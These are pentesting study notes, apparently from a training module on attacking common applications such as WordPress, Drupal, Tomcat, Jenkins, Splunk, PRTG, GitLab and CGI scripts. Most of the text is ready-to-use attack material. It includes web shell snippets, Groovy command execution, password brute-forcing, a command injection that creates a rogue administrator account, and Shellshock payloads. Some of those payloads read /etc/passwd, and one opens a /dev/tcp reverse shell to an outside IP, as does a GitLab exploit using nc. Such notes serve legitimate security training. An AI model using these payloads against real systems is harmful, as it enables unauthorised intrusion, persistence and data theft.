22 - Attacking Common Applications

To scan many hosts: EyeWitness or Aquatone.

CMS

WordPress

Directories: wp-content/plugins, wp-content/themes.
terminal
$ sudo wpscan --url http://blog.inlanefreight.local --enumerate$ sudo wpscan --url http://blog.inlanefreight.local -e u   # usuarios$ sudo wpscan --url http://blog.inlanefreight.local -e p   # plugins$ ffuf -u http://metapress.htb/wp-content/plugins/FUZZ -w /usr/share/seclists/Discovery/Web-Content/CMS/wp_plugins.txt# Bruteforce$ wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local
RCE: add system($_GET[0]); to the theme's 404.php and curl .../404.php?0=id. (Vulnerabilities: 4% core, 89% plugins, 7% themes.)

Joomla / Drupal

terminal
droopescan scan joomla --url <URL>droopescan scan drupal --url <URL>
Drupal 7: enable the PHP Filter module, create a page with the "PHP code" format, and insert <?php system($_GET['x']); ?>. Drupal 8: upload the php-8.x module. You can also upload a modified module (CAPTCHA) with a shell.php and .htaccess. Drupalgeddon (CVE-2014-3704), Drupalgeddon2 (CVE-2018-7600), Drupalgeddon3 (Metasploit module).

Servlet Containers

Tomcat

terminal
$ curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat
The tomcat-users.xml file controls access to /manager and /host-manager. Brute force: scanner/http/tomcat_mgr_login module. RCE: upload a WAR with a JSP web shell.

Jenkins

Console at /script. RCE with Groovy:
groovy
def cmd = 'id'
def proc = cmd.execute()
proc.waitForOrKill(1000)
println proc.text

Monitoring Tools

Splunk

Ports 8000/8089 (SSL — it is important to use https). Sometimes a trial version has no authentication or uses default credentials (admin, changeme...). RCE: upload a malicious app (updater.tar.gz with rev.ps1) to /manager/search/apps/local.

PRTG Network Monitor

Default credentials prtgadmin:prtgadmin. RCE via notifications (execute program):
txt
test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add

Customer Service Management

GitLab

terminal
$ ./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt$ python3 gitlab_13_10_2_rce.py -t http://gitlab... -u mrb3n -p password1 -c '...nc 10.10.14.15 8443...'

Common Gateway Applications

Tomcat CGI / Shellshock

bash
$ ffuf -u http://10.129.205.30:8080/cgi/FUZZ -w .../common.txt -e .bat,.cmd -chttp://10.129.204.227:8080/cgi/welcome.bat?&dir# Shellshock (Bash <= 4.3)$ curl -H 'User-Agent: () { :; }; echo ; /bin/cat /etc/passwd' http://10.129.205.27/cgi-bin/access.cgi$ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' http://.../cgi-bin/access.cgi

Miscellaneous Applications

ColdFusion

Ports 80/443/8500. Server: ColdFusion headers. Known path /CFIDE/administrator/index.cfm. Unauthenticated RCE and Directory Traversal (msfconsole).

IIS — Tilde enumeration (8.3)

terminal
java -jar iis_shortname_scanner.jar 0 5 http://10.129.204.231/

LDAP

terminal
ldapsearch -H ldap://ldap.example.com:389 -D "cn=admin,dc=example,dc=com" -w secret123 -b "ou=people,dc=example,dc=com" "(mail=john.doe@example.com)"
LDAP Injection: insert characters into LDAP queries to alter the logic:
txt
(&(objectClass=user)(sAMAccountName=*)(userPassword=dummy))

Mass Assignment

A framework automatically assigns all user-supplied fields to a model without filtering which attributes are allowed.